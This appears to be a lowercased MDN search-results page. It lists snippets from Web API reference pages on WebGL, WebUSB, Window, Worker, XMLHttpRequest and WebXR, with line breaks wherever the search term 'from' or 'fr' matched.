you can also look up the values of individual parameters with the urlsearchparams object's get() method: let addr = new url("https://mysite.com/login?user=someguy&page=news"); try { loginuser(addr.searchparams.get("user")); gotopage(addr.searchparams.get("page")); } catch(err) { showerrormessage(err); } for example, in the above snippet, the username and target page are taken
from the query and passed to appropriate functions that are used by the site's code to log in and route the user to their desired destination within the site.
...for instance, try https://url-api.glitch.me?
from=mdn&excitement=high&likelihood=inconceivable.
USBDevice.controlTransferIn() - Web APIs
the controltransferin() method of the usbdevice interface returns a promise that resolves with a usbintransferresult when the result of a command or status request has been received
from the usb device.
... length the maximum number of bytes to read
from the device.
USBDevice.transferIn() - Web APIs
the transferin() method of the usbdevice interface returns a promise that resolves with a usbtransferinresult when bulk or interrupt data is received
from the usb device.
... length the maximum number of bytes that will be read back
from the device.
USBIsochronousOutTransferResult - Web APIs
the usbisochronousouttransferresult interface of the webusb api provides the result
from a call to the isochronoustransferout() method of the usbdevice interface.
... it represents the result
from requesting a transfer of data
from the usb host to the usb device.
validityState.badInput - Web APIs
note: while this is unsupported in internet explorer, any non-numeric value will be dismissed
from the field if it is a number input.
... recommendation no change
from the previous snapshot html5.
ValidityState - Web APIs
note: this property is never true in gecko, because elements' values are prevented
from being longer than maxlength.
... recommendation no change
from the previous snapshot html5.
VideoConfiguration - Web APIs
framerate: the number of
frames making up one second of video playback.
...ate media configuration to be tested const mediaconfig = { type : 'file', // see mediadecodingconfiguration and mediaencodingconfiguration video : { contenttype : "video/webm;codecs=vp8", // valid content type width : 800, // width of the video height : 600, // height of the video bitrate : 10000, // number of bits used to encode 1s of video
framerate : 30 // number of
frames making up that 1s.
WEBGL_debug_shaders.getTranslatedShaderSource() - Web APIs
syntax gl.getextension('webgl_debug_shaders').gettranslatedshadersource(shader); parameters shader a webglshader to get the translated source
from.
... examples var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var shader = gl.createshader(gl.
fragment_shader); gl.shadersource(shader, 'void main() { gl_
fragcolor = vec4(gl_
fragcoord.x, 0.0, 0.0, 1.0); }'); gl.compileshader(shader); var src = gl.getextension('webgl_debug_shaders').gettranslatedshadersource(shader); console.log(src); // "void main(){ // (gl_
fragcolor = vec4(gl_
fragcoord.x, 0.0, 0.0, 1.0)); // }" specifications specification status comment webgl_debug_shadersthe definition of ...
WaveShaperNode.WaveShaperNode() - Web APIs
syntax var waveshapernode = new waveshapernode(context, options) parameters inherits parameters
from the audionodeoptions dictionary.
... browser compatibility the compatibility table on this page is generated
from structured data.
WaveShaperNode - Web APIs
properties inherits properties
from its parent, audionode.
... methods no specific method; inherits methods
from its parent, audionode.
WebGL2RenderingContext.texImage3D() - Web APIs
gl.rgba: red, green, blue and alpha components are read
from the color buffer.
...used to upload data to the currently bound webgltexture
from the webglbuffer bound to the pixel_unpack_buffer target.
WebGL2RenderingContext.texSubImage3D() - Web APIs
gl.rgba: red, green, blue and alpha components are read
from the color buffer.
...used to upload data to the currently bound webgltexture
from the webglbuffer bound to the pixel_unpack_buffer target.
WebGLRenderingContext.activeTexture() - Web APIs
the value is a gl.texturei where i is within the range
from 0 to gl.max_combined_texture_image_units - 1.
... exceptions if texture is not one of gl.texturei, where i is within the range
from 0 to gl.max_combined_texture_image_units - 1, a gl.invalid_enum error is thrown.
WebGLRenderingContext.bindBuffer() - Web APIs
when using a webgl 2 context, the following values are available additionally: gl.copy_read_buffer: buffer for copying
from one buffer object to another.
... gl.copy_write_buffer: buffer for copying
from one buffer object to another.
WebGLRenderingContext.bufferSubData() - Web APIs
when using a webgl 2 context, the following values are available additionally: gl.copy_read_buffer: buffer for copying
from one buffer object to another.
... gl.copy_write_buffer: buffer for copying
from one buffer object to another.
WebGLRenderingContext.commit() - Web APIs
the webglrenderingcontext.commit() method pushes
frames back to the original htmlcanvaselement, if the context is not directly fixed to a specific canvas.
... // push
frames back to the original htmlcanvaselement gl.commit(); specifications specification status comment html living standardthe definition of 'the commit() method of the offscreencanvas object's rendering context' in that specification.
WebGLRenderingContext.compressedTexSubImage2D() - Web APIs
unorm_ext ext.compressed_rgb_bptc_signed_float_ext ext.compressed_rgb_bptc_unsigned_float_ext when using the ext_texture_compression_rgtc extension: ext.compressed_red_rgtc1_ext ext.compressed_signed_red_rgtc1_ext ext.compressed_red_green_rgtc2_ext ext.compressed_signed_red_green_rgtc2_ext imagesize a glsizei specifying the number of bytes to read
from the buffer bound to gl.pixel_unpack_buffer.
... offset a glintptr specifying the offset in bytes
from which to read
from the buffer bound to gl.pixel_unpack_buffer.
WebGLRenderingContext.copyTexImage2D() - Web APIs
the webglrenderingcontext.copyteximage2d() method of the webgl api copies pixels
from the current webgl
framebuffer into a 2d texture image.
... gl.rgba: red, green, blue and alpha components are read
from the color buffer.
WebGLRenderingContext.getBufferParameter() - Web APIs
when using a webgl 2 context, the following values are available additionally: gl.copy_read_buffer: buffer for copying
from one buffer object to another.
... gl.copy_write_buffer: buffer for copying
from one buffer object to another.
WebGLRenderingContext.getShaderParameter() - Web APIs
syntax any gl.getshaderparameter(shader, pname); parameters shader a webglshader to get parameter information
from.
... gl.shader_type: returns a glenum indicating whether the shader is a vertex shader (gl.vertex_shader) or
fragment shader (gl.
fragment_shader) object.
WebGLRenderingContext.getVertexAttrib() - Web APIs
gl.vertex_attrib_array_divisor: returns a glint describing the
frequency divisor used for instanced rendering.
... when using the angle_instanced_arrays extension: ext.vertex_attrib_array_divisor_angle: returns a glint describing the
frequency divisor used for instanced rendering.
WebGLRenderingContext.hint() - Web APIs
when using the oes_standard_derivatives extension: ext.
fragment_shader_derivative_hint_oes: accuracy of the derivative calculation for the glsl built-in functions: dfdx, dfdy, and fwidth.
... when using a webgl 2 context, the following values are available additionally: gl.
fragment_shader_derivative_hint: same as ext.
fragment_shader_derivative_hint_oes mode sets the behavior.
WebGLRenderingContext.linkProgram() - Web APIs
the webglrenderingcontext interface's linkprogram() method links a given webglprogram, completing the process of preparing the gpu code for the program's
fragment and vertex shaders.
... examples var program = gl.createprogram(); // attach pre-existing shaders gl.attachshader(program, vertexshader); gl.attachshader(program,
fragmentshader); gl.linkprogram(program); if ( !gl.getprogramparameter( program, gl.link_status) ) { var info = gl.getprograminfolog(program); throw new error('could not compile webgl program.
WebGLRenderingContext.stencilMask() - Web APIs
the webglrenderingcontext.stencilmask() method of the webgl api controls enabling and disabling of both the
front and back writing of individual bits in the stencil planes.
... the webglrenderingcontext.stencilmaskseparate() method can set
front and back stencil writemasks to different values.
WebGLRenderingContext.texImage2D() - Web APIs
gl.rgba: red, green, blue and alpha components are read
from the color buffer.
...used to upload data to the currently bound webgltexture
from the webglbuffer bound to the pixel_unpack_buffer target.
WebGLRenderingContext.texSubImage2D() - Web APIs
gl.rgba: red, green, blue and alpha components are read
from the color buffer.
...used to upload data to the currently bound webgltexture
from the webglbuffer bound to the pixel_unpack_buffer target.
Color masking - Web APIs
the color mask state of webgl is preserved, so we do not need to call colormask() every
frame to set up the color mask.
...it allows us to setup webgl in a single initialization phase, and then just execute drawing commands for each
frame.
Detect WebGL - Web APIs
to that end we will try to obtain the webgl rendering context
from a canvas element.
... var canvas = document.createelement("canvas"); // get webglrenderingcontext
from canvas element.
Hello GLSL - Web APIs
canvas { width : 280px; height : 210px; margin : auto; padding : 0; border : none; background-color : black; } button { display : block; font-size : inherit; margin : auto; padding : 0.6em; } <script type="x-shader/x-vertex" id="vertex-shader"> #version 100 void main() { gl_position = vec4(0.0, 0.0, 0.0, 1.0); gl_pointsize = 64.0; } </script> <script type="x-shader/x-
fragment" id="
fragment-shader"> #version 100 void main() { gl_
fragcolor = vec4(0.18, 0.54, 0.34, 1.0); } </script> ;(function(){ "use strict" window.addeventlistener("load", setupwebgl, false); var gl, program; function setupwebgl (evt) { window.removeeventlistener(evt.type, setupwebgl, false); if (!(gl = getrenderingcontext())) return; var source = document.queryselector("#vert...
...ex-shader").innerhtml; var vertexshader = gl.createshader(gl.vertex_shader); gl.shadersource(vertexshader,source); gl.compileshader(vertexshader); source = document.queryselector("#
fragment-shader").innerhtml var
fragmentshader = gl.createshader(gl.
fragment_shader); gl.shadersource(
fragmentshader,source); gl.compileshader(
fragmentshader); program = gl.createprogram(); gl.attachshader(program, vertexshader); gl.attachshader(program,
fragmentshader); gl.linkprogram(program); gl.detachshader(program, vertexshader); gl.detachshader(program,
fragmentshader); gl.deleteshader(vertexshader); gl.deleteshader(
fragmentshader); if (!gl.getprogramparameter(program, gl.link_status)) { var linkerrlog = gl.getprograminfolog(program); cleanup(); document.queryselec...
Hello vertex attributes - Web APIs
auto; padding : 0; border : none; background-color : black; } button { display : block; font-size : inherit; margin : auto; padding : 0.6em; } <script type="x-shader/x-vertex" id="vertex-shader"> #version 100 precision highp float; attribute float position; void main() { gl_position = vec4(position, 0.0, 0.0, 1.0); gl_pointsize = 64.0; } </script> <script type="x-shader/x-
fragment" id="
fragment-shader"> #version 100 precision mediump float; void main() { gl_
fragcolor = vec4(0.18, 0.54, 0.34, 1.0); } </script> ;(function(){ "use strict" window.addeventlistener("load", setupwebgl, false); var gl, program; function setupwebgl (evt) { window.removeeventlistener(evt.type, setupwebgl, false); if (!(gl = getrenderingcontext())) return; var source = docu...
...ment.queryselector("#vertex-shader").innerhtml; var vertexshader = gl.createshader(gl.vertex_shader); gl.shadersource(vertexshader,source); gl.compileshader(vertexshader); source = document.queryselector("#
fragment-shader").innerhtml var
fragmentshader = gl.createshader(gl.
fragment_shader); gl.shadersource(
fragmentshader,source); gl.compileshader(
fragmentshader); program = gl.createprogram(); gl.attachshader(program, vertexshader); gl.attachshader(program,
fragmentshader); gl.linkprogram(program); gl.detachshader(program, vertexshader); gl.detachshader(program,
fragmentshader); gl.deleteshader(vertexshader); gl.deleteshader(
fragmentshader); if (!gl.getprogramparameter(program, gl.link_status)) { var linkerrlog = gl.getprograminfolog(program); cleanup()...
Simple color animation - Web APIs
the timer and the timer handler function establish the animation loop, a set of drawing commands that are executed at a regular period (typically, every
frame; in this case, once per second).
... timer = setinterval(drawanimation, 1000); // give immediate feedback to user after clicking, by // drawing one animation
frame.
WebGL by example - Web APIs
boilerplate 1 the example describes repeated pieces of code that will be hidden
from now on, as well as defining a javascript utility function to make webgl initialization easier.
... textures
from code a simple demonstration of procedural texturing with
fragment shaders.
Getting started with WebGL - Web APIs
it's worth noting here that this series of articles introduces webgl itself; however, there are a number of
frameworks available that encapsulate webgl's capabilities, making it easier to build 3d applications and games, such as three.js and babylon.js.
...the html
fragment below declares a canvas that our sample will draw into.
Using WebGL extensions - Web APIs
oes_ and khr_: extensions that mirror functionality
from opengl es (oes) or opengl api extensions approved by the respective architecture review boards (khronos).
... extension list the current extensions are: angle_instanced_arrays ext_blend_minmax ext_color_buffer_float ext_color_buffer_half_float ext_disjoint_timer_query ext_float_blend ext_
frag_depth ext_srgb ext_shader_texture_lod ext_texture_compression_bptc ext_texture_compression_rgtc ext_texture_filter_anisotropic khr_parallel_shader_compile oes_element_index_uint oes_fbo_render_mipmap oes_standard_derivatives oes_texture_float oes_texture_float_linear oes_texture_half_float oes_texture_half_float_linear oes_vertex_array_object ovr_multiview2 webgl_color_buffer_fl...
High-level guides - Web APIs
the high-level guides listed below introduce webrtc technology
from a top-down perspective, describing the overall architecture, the life cycle of a webrtc connection, and basic security and technological issues you might run into as you explore and build web content or apps using the webrtc api.
... in addition, you'll find suggestions as to tools, libraries, and
frameworks that might be helpful and compatibility information so you know which parts of the overall suite of webrtc features can be safely used given your target audience.
WebSocket - Web APIs
websocket.onmessage an event listener to be called when a message is received
from the server.
...const socket = new websocket('ws://localhost:8080'); // connection opened socket.addeventlistener('open', function (event) { socket.send('hello server!'); }); // listen for messages socket.addeventlistener('message', function (event) { console.log('message
from server ', event.data); }); specifications specification status html living standardthe definition of 'websocket' in that specification.
Targeting and hit detection - Web APIs
testing for collisions with the real world is a different problem, which may involve not only interpreting the imagery
from the device's camera (if available) but also potentially multiple additional sensors.
... some devices include in
frared sensors to help range objects, and others provide powerful lidar systems, which use lasers (usually in
frared lasers, which can't be seen by the human eye) to determine range to objects in the world.
Controlling multiple parameters with ConstantSourceNode - Web APIs
function startoscillators() { oscnode1 = context.createoscillator(); oscnode1.type = "sine"; oscnode1.
frequency.value = 261.625565300598634; // middle c oscnode1.connect(gainnode1); oscnode2 = context.createoscillator(); oscnode2.type = "sine"; oscnode2.
frequency.value = 329.627556912869929; // e oscnode2.connect(gainnode2); oscnode3 = context.createoscillator(); oscnode3.type = "sine"; oscnode3.
frequency.value = 391.995435981749294 // g oscnode3.connect(gainnode3); oscnode1.s...
... set the oscillator's
frequency to the desired value; in this case, oscnode1 is set to a middle c, while oscnode2 and oscnode3 round out the chord by playing the e and g notes.
Web Locks API - Web APIs
}); while a lock is held, requests for the same lock
from this execution context, or
from other tabs/workers, will be queued.
... the api provides optional functionality that may be used as needed, including: returning values
from the asynchronous task shared and exclusive lock modes conditional acquisition diagnostics to query the state of locks in an origin an escape hatch to protect against deadlocks locks are scoped to origins; the locks acquired by a tab
from https://example.com have no effect on the locks acquired by a tab
from https://example.org:8080 as they are separate origins.
Web Storage API - Web APIs
note:
from firefox 45 onwards, when the browser crashes/restarts, the amount of data saved per origin is limited to 10mb.
... note: access to web storage
from third-party i
frames is denied if the user has disabled third-party cookies (firefox implements this behaviour
from version 43 onwards.) note: web storage is not the same as mozstorage (mozilla's xpcom interfaces to sqlite) or the session store api (an xpcom storage utility for use by extensions).
WheelEvent - Web APIs
properties this interface inherits properties
from its ancestors, mouseevent, uievent, and event.
... methods this interface doesn't define any specific methods, but inherits methods
from its ancestors, mouseevent, uievent, and event.
Window: beforeunload event - Web APIs
however note that not all browsers support this method, and some instead require the event handler to implement one of two legacy methods: assigning a string to the event's returnvalue property returning a string
from the event handler.
... attaching an event handler/listener to window or document's beforeunload event prevents browsers
from using in-memory page navigation caches, like firefox's back-forward cache or webkit's page cache.
Window.blur() - Web APIs
shifts focus away
from the window.
... syntax window.blur() example window.blur(); notes the window.blur() method is the programmatic equivalent of the user shifting focus away
from the current window.
Window.captureEvents() - Web APIs
--> <script> function reg() { window.captureevents(event.click); window.onclick = page_click; } function page_click() { alert('page click event detected!'); } </script> </head> <body onload="reg();"> <p>click anywhere on this page.</p> </body> </html> notes events raised in the dom by user activity (such as clicking buttons or shifting focus away
from the current document) generally pass through the high-level window and document objects first before arriving at the object that initiated the event.
...in order for events to "bubble up" in the way that they normally do, you must call window.releaseevents() ( ) on the window to keep it
from trapping events.
Window.close() - Web APIs
note also that close() has no effect when called on window objects returned by htmli
frameelement.contentwindow.
... //global var to store a reference to the opened window var openedwindow; function openwindow() { openedwindow = window.open('moreinfo.htm'); } function closeopenedwindow() { openedwindow.close(); } closing the current window in the past, when you called the window object's close() method directly, rather than calling close() on a window instance, the browser closed the
frontmost window, whether your script created that window or not.
Window.content - Web APIs
this is useful in xul windows that have a <browser> (or tabbrowser or <i
frame>) with type="content-primary" attribute on it — the most famous example is firefox main window, browser.xul.
... see also working with windows in chrome code when accessing content documents
from privileged code, be aware of xpcnativewrappers.
Window.focus() - Web APIs
makes a request to bring the window to the
front.
... it may fail due to user settings and the window isn't guaranteed to be
frontmost before this method returns.
Window.getAttention() - Web APIs
on linux, the behaviour varies
from window manager to window manager - some flash the taskbar button, others focus the window immediately.
...getattention will still work when used
from chrome in a gecko application.
Window.history - Web APIs
the window.history read-only property returns a reference to the history object, which provides an interface for manipulating the browser session history (pages visited in the tab or
frame that the current page is loaded in).
... there is no way to clear the session history or to disable the back/forward navigation
from unprivileged code.
Window: message event - Web APIs
the message event is fired on a window object when the window receives a message, for example
from a call to window.postmessage()
from another browsing context.
... bubbles no cancelable no interface messageevent event handler property onmessage examples suppose a script sends a message to a different browsing context, such as another <i
frame>, using code like this: const target
frame = window.top.
frames[1]; const targetorigin = 'https://example.org'; const windowmessagebutton = document.queryselector('#window-message'); windowmessagebutton.addeventlistener('click', () => { target
frame.postmessage('hello there', targetorigin); }); the receiver can listen for the message using addeventlistener() with code like this: window.addeventlistener('message', (event) => { console.log(`received message: ${event.data}`); }); alternatively the listener could use the onmessage event handler propert...
Window.mozAnimationStartTime - Web APIs
this value should be used instead of, for example, date.now(), because this value will be the same for all animations started in this window during this re
fresh interval, allowing them to remain in sync with one another.
... this also allows javascript-based animations to remain synchronized with css transitions and smil animations triggered during the same re
fresh interval.
Window.ondragdrop - Web APIs
if,
from an external source, a tab, a link, marked text or a file is dragged and dropped onto this window, the alert is fired.
... note how event.stoppropagation(); prevents the browser
from loading the dropped tab, link or file.
Window: pageshow event - Web APIs
this includes: initially loading the page navigating to the page
from another page in the same window or tab restoring a
frozen page on mobile oses returning to the page using the browser's forward or back buttons during the initial page load, the pageshow event fires after the load event.
..."persisted" : "not persisted"; console.log('event:', event.type, '-', ispersisted); break; default: console.log('event:', event.type); break; } }; events.foreach(eventname => window.addeventlistener(eventname, eventlogger) ); html <p>open the console and watch the output as you navigate to and
from this page.
Window.parent - Web APIs
the window.parent property is a reference to the parent of the current window or sub
frame.
... when a window is loaded in an <i
frame>, <object>, or <
frame>, its parent is the window with the element embedding the window.
Window.releaseEvents() - Web APIs
summary releases the window
from trapping events of a specific type.
... browser compatibility the compatibility table in this page is generated
from structured data.
Window.requestFileSystem() - Web APIs
it has even been removed
from the proposed specification.
... browser compatibility the compatibility table on this page is generated
from structured data.
Window.scrollX - Web APIs
you can get the number of pixels the document is scrolled vertically
from the scrolly property.
... syntax var x = window.scrollx; value in practice, the returned value is a double-precision floating-point value indicating the number of pixels the document is currently scrolled horizontally
from the origin, where a positive value means the content is scrolled to the left.
Window.scrollY - Web APIs
you can get the number of pixels the document is scrolled horizontally
from the scrollx property.
... syntax var y = window.scrolly value in practice, the returned value is a double-precision floating-point value indicating the number of pixels the document is currently scrolled vertically
from the origin, where a positive value means the content is scrolled to upward.
Window.window - Web APIs
living standard no difference
from the latest snapshot html 5.1 html 5.1the definition of 'window.window' in that specification.
... recommendation no difference
from the html5 html5the definition of 'window.window' in that specification.
WindowClient - Web APIs
methods windowclient inherits methods
from its parent interface, client.
... properties windowclient inherits properties
from its parent interface, client.
WindowOrWorkerGlobalScope.atob() - Web APIs
return value an ascii string containing decoded data
from encodeddata.
... example const encodeddata = window.btoa('hello, world'); // encode a string const decodeddata = window.atob(encodeddata); // decode the string polyfill you can use a polifill
from https://github.com/maxart2501/base64-js/blob/master/base64.js for browsers that don't support it.
WindowOrWorkerGlobalScope.queueMicrotask() - Web APIs
microtasks are especially useful for libraries and
frameworks that need to perform final cleanup or other just-before-rendering tasks.
... examples self.queuemicrotask(() => { // function contents here }) taken
from the queuemicrotask spec: myelement.prototype.loaddata = function (url) { if (this._cache[url]) { queuemicrotask(() => { this._setdata(this._cache[url]); this.dispatchevent(new event("load")); }); } else { fetch(url).then(res => res.arraybuffer()).then(data => { this._cache[url] = data; this._setdata(data); this.dispatchevent(new event("load")); ...
WindowOrWorkerGlobalScope - Web APIs
windoworworkerglobalscope.btoa() creates a base-64 encoded ascii string
from a string of binary data.
... windoworworkerglobalscope.fetch() starts the process of fetching a resource
from the network.
Worker: message event - Web APIs
the message event is fired on a worker object when the worker's parent receives a message
from its worker (i.e.
... bubbles no cancelable no interface messageevent event handler property onmessage examples this code creates a new worker and listens to messages
from it using addeventlistener(): const worker = new worker("static/scripts/worker.js"); worker.addeventlistener('message', (event) => { console.log(`received message
from worker: ${event.data}`) }); alternatively, it could listen using the onmessage event handler property: const worker = new worker("static/scripts/worker.js"); worker.onmessage = (event) => { console.log(`received message
from worker: ${event.data}`) }; the worker posts messages using self.postmessage(): // static/scripts/worker.js...
Worker: messageerror event - Web APIs
bubbles no cancelable no interface messageevent event handler property onmessageerror examples create a worker, and listen for message and messageerror events using addeventlistener(): // inside main.js const worker = new worker("static/scripts/worker.js"); worker.addeventlistener("message", (event) => { console.error(`received message
from worker: ${event}`); }); worker.addeventlistener("messageerror", (event) => { console.error(`error receiving message
from worker: ${event}`); }); the same, but using the onmessageerror event handler property: // inside main.js const worker = new worker("static/scripts/worker.js"); worker.onmessage = (event) => { console.error(`received message
from worker: ${event}`); }; worker.onm...
...essageerror = (event) => { console.error(`error receiving message
from worker: ${event}`); }; specifications specification status html living standard living standard ...
WorkerGlobalScope.close() - Web APIs
syntax self.close(); example if you wanted to close your worker instance
from inside the worker itself, you could call the following: close(); close() and self.close() are effectively equivalent — both represent close() being called
from inside the worker's inner scope.
... note: there is also a way to stop the worker
from the main thread: the worker.terminate method.
WorkerGlobalScope.console - Web APIs
if you are calling console.log()
from a dedicatedworkerglobalscope or other worker scope that acts on a single loaded window, that tab's web console will receive the logs.
... however, if you are calling console.log()
from a sharedworkerglobalscope, the global browser console will receive the logs.
WorkerLocation - Web APIs
this interface is only visible
from inside a javascript script executed in the context of a web worker.
... urlutilsreadonly.hash read only is a domstring containing a '#' followed by the
fragment identifier of the url of the script executed in the worker.
WritableStream - Web APIs
calling close() too early can prevent data
from being written.
... browser compatibility the compatibility table on this page is generated
from structured data.
WritableStreamDefaultWriter.ready - Web APIs
the ready read-only property of the writablestreamdefaultwriter interface returns a promise that resolves when the desired size of the stream's internal queue transitions
from non-positive to positive, signaling that it is no longer applying backpressure.
... browser compatibility the compatibility table on this page is generated
from structured data.
WritableStreamDefaultWriter - Web APIs
writablestreamdefaultwriter.readyread only returns a promise that resolves when the desired size of the stream's internal queue transitions
from non-positive to positive, signaling that it is no longer applying backpressure.
...if the associated stream is errored when the lock is released, the writer will appear errored in the same way
from now on; otherwise, the writer will appear closed.
init() - Web APIs
initializes the object for use
from c++ code.
... warning: this method must not be called
from javascript.
XMLHttpRequest.getAllResponseHeaders() - Web APIs
note: for multipart requests, this returns the headers
from the current part of the request, not
from the original channel.
... an example of what a raw header string looks like: date:
fri, 08 dec 2017 21:04:30 gmt\r\n content-encoding: gzip\r\n x-content-type-options: nosniff\r\n server: meinheld/0.6.1\r\n x-
frame-options: deny\r\n content-type: text/html; charset=utf-8\r\n connection: keep-alive\r\n strict-transport-security: max-age=63072000\r\n vary: cookie, accept-encoding\r\n content-length: 6502\r\n x-xss-protection: 1; mode=block\r\n each line is terminated by both carriage ret...
XMLHttpRequest.openRequest() - Web APIs
this mozilla-specific method is available only
from within privileged code, and is only called
from a c++ context in order to initialize an xmlhttprequest.
... to initialize a request
from javascript code, use the standard open() method instead.
XMLHttpRequest.responseText - Web APIs
the read-only xmlhttprequest property responsetext returns the text received
from a server following a request being sent.
... while handling an asynchronous request, the value of responsetext always has the current content received
from the server, even if it's incomplete because the data has not been completely received yet.
XPathResult - Web APIs
methods xpathresult.iteratenext() if the result is a node set, this method iterates over it and returns the next node
from it or null if there are no more nodes.
... constants result type defined constant value description any_type 0 a result set containing whatever type naturally results
from evaluation of the expression.
XRInputSource.handedness - Web APIs
the value, which comes
from the xrhandedness enumerated type, is one of the following: none the input controller is not associated with one of the user's hands.
... function updateinputsources(session,
frame, refspace) { for (let source of session.inputsources) { if (source.gripspace) { let grippose =
frame.getpose(source.gripspace, refspace); if (grippose) { myrenderhandobject(grippose, inputsource.handedness); } } } } this function, which would be called every animation
frame (or possibly just periodically, depending on the degree of smoothness required a...
XRInputSource - Web APIs
note: while xrinputsource uses the gamepad interface
from the gamepad api, this input device is strictly associated with the webxr hardware and is not a general-purpose gaming device.
...this is a ray extending
from the position of the device outward in the direction in which it is pointed.
XRInputSourceArray.values() - Web APIs
the xrinputsourcearray method values() returns a javascript iterator that can walk over the list of xrinputsource objects contained in the array,
from first to last.
...pecification status comment webxr device apithe definition of 'xrinputsourcearray' in that specification.1 working draft xrinputsourcearray interface [1] see iterator-like methods in information contained in a webidl file for information on how an iterable declaration in an interface definition causes entries(), foreach(), keys(), and values() methods to be exposed
from objects that implement the interface.
XRInputSourceEvent() - Web APIs
selectend sent to an xrsession when an ongoing primary action ends, or when an input source with an ongoing primary action has been disconnected
from the system.
... xrsession.addeventlistener("select", event => { let targetraypose = event.
frame.getpose(event.inputsource.targetrayspace, myrefspace); if (targetraypose) { let hit = myhittest(targetraypose.transform); if (hit) { /* handle the hit */ } } }); specifications specification status comment webxr device apithe definition of 'xrinputsourceevent' in that specification.
XRInputSourcesChangeEvent - Web APIs
methods while xrinputsourceschangeevent defines no methods of its own, it inherits methods
from its parent interface, event.
... examples the following example shows how to set up an event handler which uses inputsourceschange events to detect newly-available pointing devices and to load their models in preparation to display them in the next animation
frame.
XRInputSourcesChangeEventInit.removed - Web APIs
the xrinputsourceschangeeventinit property removed is an array of zero or more xrinputsource objects, each representing one input source which has been removed
from the xrsession.
...tsourceschangeevent = new xrinputsourceschangeeventinit("inputsourceschange", { session: xrsession, added: addeddevicelist, removed: removeddevicelist }); value an array of zero or more xrinputsource objects, each representing one input device removed
from the xr system.
XRPermissionDescriptor.requiredFeatures - Web APIs
for devices with six degrees of
freedom (6dof) tracking, the local reference space tries to keep the origin stable relative to the environment.
... xrreferencespace unbounded a tracking space which allows the user total
freedom of movement, possibly over extremely long distances
from their origin point.
XRReferenceSpaceEvent() - Web APIs
the properties of this object are: referencespace the xrreferencespace
from which the event originated.
... transform an xrrigidtransform which maps the old coordinate system (
from before the changes indicated by this event) to the new coordiante system.
XRReferenceSpaceEventInit.transform - Web APIs
the transform is defined using the old coordinate system, which allows it to be used to convert coordinates
from the pre-event coordinate system to the post-event coordiante system.
... syntax let eventinitdict = { referencespace: xrreferencespace, transform: xrrigidtransform }); value an xrrigidtransform object providing a transform that can be used to convert coordinates
from the pre-event coordinate system to the post-event coordinate system.
XRReferenceSpaceType - Web APIs
for devices with six degrees of
freedom (6dof) tracking, the local reference space tries to keep the origin stable relative to the environment.
... xrreferencespace unbounded a tracking space which allows the user total
freedom of movement, possibly over extremely long distances
from their origin point.
XRRigidTransform.position - Web APIs
sion.requestreferencespace("local-floor").then(refspacecreated); }); } else { session.requestreferencespace("viewer").then(refspacecreated); } } function refspacecreated(refspace) { if (immersivesession) { xrreferencespace = refspace; } else { xrreferencespace = refspace.getoffsetreferencespace( new xrrigidtransform({y: -1.5}); ); } xrsession.requestanimation
frame(on
frame); } after setting up the graphics context for webxr use, this begins by looking to see if a variable immersivesession is true; if so, we first request a bounded-floor reference space.
... finally, an animation
frame request is submitted.
XRRigidTransform - Web APIs
it then requests the first animation
frame callback by calling the session's requestanimation
frame() method.
... xrsession.requestreferencespace(refspacetype) .then((refspace) => { xrreferencespace = refspace; xrreferencespace = xrreferencespace.getoffsetreferencespace( new xrrigidtransform(viewerstartposition, cubeorientation)); animation
framerequestid = xrsession.requestanimation
frame(draw
frame); specifications specification status comment webxr device apithe definition of 'xrrigidtransform' in that specification.
XRSession.onsqueeze - Web APIs
xrsession.onsqueeze = event => { if (event.inputsource.handedness != user.handedness) { handleoffhandsqueeze(event.inputsource, event.
frame); } }; finishing an ongoing squeeze action this example exapnds somewhat on the previous example by demonstrating a way to implement the ability for the user to drop an object that was previously picked up by the user..
... xrsession.onsqueeze = event => { if (event.inputsource.handedness == user.handedness) { let targetraypose = event.
frame.getpose(event.inputsource.targetrayspace, myrefspace); if (user.heldobject && targetraypose) { dropobjectusingray(user.heldobject, targetraypose.transform.matrix): } } }; see the examples in the onsqueezestart and onsqueezeend event handlers for the reset of the event handling related to this approach.
XRSession.requestReferenceSpace() - Web APIs
for devices with six degrees of
freedom (6dof) tracking, the local reference space tries to keep the origin stable relative to the environment.
... xrreferencespace unbounded a tracking space which allows the user total
freedom of movement, possibly over extremely long distances
from their origin point.
XRSession: select event - Web APIs
xrsession.addeventlistener("select", event => { if (event.inputsource.targetraymode == "tracked-pointer") { let targetraypose = event.
frame.getpose(event.inputsource.targetrayspace, myrefspace); if (targetraypose) { myhandleselectwithray(targetraypose.transform); } } }); you can of course also set up a handler for select events by setting the xrsession object's onselect event handler property to a function that handles the event: xrsession.onselect = event => { if (event.inputsour...
...ce.targetraymode == "tracked-pointer") { let targetraypose = event.
frame.getpose(event.inputsource.targetrayspace, myrefspace); if (targetraypose) { myhandleselectwithray(targetraypose.transform); } } }; specifications specification status comment webxr device apithe definition of 'select event' in that specification.
XRSession: selectend event - Web APIs
this places the object into its new position in the world and triggers any effects that may arise
from doing so (like scheduling an animation of a splash if dropped in water, etc).
... xrsession.addeventlistener("selectstart", onselectionevent); xrsession.addeventlistener("select", onselectionevent); xrsession.addeventlistener("selectend", onselectionevent); function onselectionevent(event) { let source = event.inputsource; let targetobj = null; if (source.targetraymode != "tracked-pointer") { return; } let targetraypose = event.
frame.getpose(source.targetrayspace, myrefspace); if (!targetraypose) { return; } switch(event.type) { case "selectstart": targetobj = mybegintracking(targetraypose.matrix); break; case "select": mydropobject(targetobj, targetraypose.matrix); break; case "selectend": mystoptracking(targetobj, targetraypose.matrix); break; } } you can of ...
XRSession: selectstart event - Web APIs
this places the object into its new position in the world and triggers any effects that may arise
from doing so (like scheduling an animation of a splash if dropped in water, etc).
... xrsession.addeventlistener("selectstart", onselectionevent); xrsession.addeventlistener("select", onselectionevent); xrsession.addeventlistener("selectend", onselectionevent); function onselectionevent(event) { let source = event.inputsource; let targetobj = null; if (source.targetraymode != "tracked-pointer") { return; } let targetraypose = event.
frame.getpose(source.targetrayspace, myrefspace); if (!targetraypose) { return; } switch(event.type) { case "selectstart": targetobj = mybegintracking(targetraypose.matrix); break; case "select": mydropobject(targetobj, targetraypose.matrix); break; case "selectend": mystoptracking(targetobj, targetraypose.matrix); break; } } you can of ...
XRSession: squeeze event - Web APIs
xrsession.addeventlistener("squeeze", event => { if (event.inputsource.targetraymode == "tracked-pointer") { let targetraypose = event.
